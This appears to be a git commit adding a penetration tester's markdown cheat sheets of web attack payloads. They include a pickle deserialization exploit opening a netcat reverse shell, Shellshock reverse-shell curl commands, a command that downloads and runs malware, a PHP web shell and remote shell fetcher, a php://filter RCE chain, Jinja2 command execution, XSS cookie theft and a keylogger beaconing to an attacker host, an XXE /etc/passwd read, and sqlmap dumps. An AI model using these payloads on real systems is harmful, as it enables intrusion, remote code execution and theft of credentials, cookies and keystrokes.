first commit

2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,13 @@
+- Python
+	```Python
+	import pickle
+	import sys
+	import base64
+	command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat **10.10.10.10 4444** > /tmp/f' 
+	class rce(object):
+	  def __reduce__(self): 
+	    import os 
+		return (os.system,(command,))
+	print(base64.b64encode(pickle.dumps(rce())))
+	```
+
@@ -0,0 +1,5 @@
+- WFuzz
+	- Fuzz POST params with file wordlist, colors, and hiding 0-word responses
+		- `wfuzz -c -z file,date-wordlist.txt -d "date=FUZZ" --hw 0 -u http://10.10.62.67/api/site-log.php`
+	- Fuzz subdomains via host header
+		- `wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -u 'http://rocket.thm' -H "Host: FUZZ.rocket.thm" --hw 28`
@@ -0,0 +1,11 @@
+- Injection vulnerability omnibuses
+```
+dddd",'|&$;:`({{@<%=ddd
+```
+
+- Shellshock
+	- `curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status`
+	- `curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status`
+	- `ssh username@IPADDRESS '() { :;}; /bin/bash'`
+- RCE where no spaces are allowed (python required)
+	- `python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash`
@@ -0,0 +1,17 @@
+- Web shell:
+	- `<?php echo “Cthulhu fhtagn!”; system($_REQUEST['boop']); ?>`
+- Get first handful of bytes from JPG or GIF for use as magic bytes:
+	- `head -c 20 <any image file> > magicbytes`
+	- `cat magicbytes shell.php > magical-shell.php`
+- Upload reverse shell via PHP code execution:
+	- `<?php file_put_contents('shell.php', file_get_contents('http://<attacker IP>/shell.php')); ?>`
+	- `curl -A "<?php file_put_contents('shell.php', file_get_contents('http:/<attacker ip>/shell.php')); ?>" -s http://<target>`
+- Filters
+	- `http://10.10.40.31/?view=php://filter/read=convert.base64-encode/resource=./dog/../index`
+	- RCE - [Filter Chain Generation Tool](https://github.com/synacktiv/php_filter_chain_generator)
+		- `<?= exec($_GET[0]); ?>`
+		```
+		php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/var/www/html/development_testing/mrrobot.php&0=id
+		```
+
+
@@ -0,0 +1,18 @@
+- SQLMap
+	- Crawl scan
+		- `sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3`
+		- `sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3`
+	- Targetted scan
+		- `sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"`
+	- Scan url for union + error based injection with mysql backend and use a random user agent + database dump
+		- `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump`
+	- Check form for inj
+		- `sqlmap -o -u "http://meh.com/form/" –forms`
+	- Dump and crack hashes for table "users" on "database-name"
+		- `sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users –dump`
+	- Flush session
+		- `sqlmap --flush session`
+	- Exploit "user" field using boolean technique
+		- `sqlmap -p user --technique=B`
+	- Test specific request saved using Burp
+		- `sqlmap -r <captured request>`
@@ -0,0 +1,14 @@
+- Flowchart to fingerprint underlying templating engine through successive payloads
+![[Pasted image 20230906000448.png|center]]
+
+- Jinja2
+	- Get information about Python environment
+		- `{{request.environ}}`
+	- Regress to base `object` class
+		- `{{request.__class__.__base__.__base__}}`
+	- List all loaded top classes
+		1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
+		2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
+		3. Determine their count for the following
+	- Call `subprocess.Popen` to execute commands ("env" in this case)
+		- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}`
@@ -0,0 +1,34 @@
+- Various XSS payloads
+	- `<img src='LINK' onmouseover="alert('xss')">`
+	- `<img src=x onerror=alert(1)>`
+	- `<img \x00src=x onerror="alert(1)">` - Possible filter bypass
+	- `<object data=javascript:alert(1)>`
+	- `<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>`
+	- `<image src="javascript:alert(1)">`
+	- `<body oninput=javascript:alert(1)><input autofocus>`
+- Cookie Theft
+	- `<script>document.location='http://ip:port/?='+document.cookie;</script>`
+
+- Keylogger
+	```HTML
+	<script> 
+	var keys='';
+	document.onkeypress = function(e) { 
+	  get = window.event?event:e;
+	  key = get.keyCode?get.keyCode:get.charCode;
+	  key = String.fromCharCode(key);
+	  keys+=key; 
+	} 
+	window.setInterval(function(){
+	  new Image().src = 'http**s**://**attackerAddress**/**kl**.php?c='+keys;
+	  keys = ''; 
+	}, 1000);
+	</script>
+	```
+
+- HTML encoding
+	-   < encoded to &lt;
+	-   > encoded to &gt;
+	-   ‘ encoded to &apos;
+	-   “ encoded to &quot;
+	-   & encoded to &amp;
@@ -0,0 +1,6 @@
+- Basic
+	```XML
+	<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> <root>&read;</root>
+	```
+
+-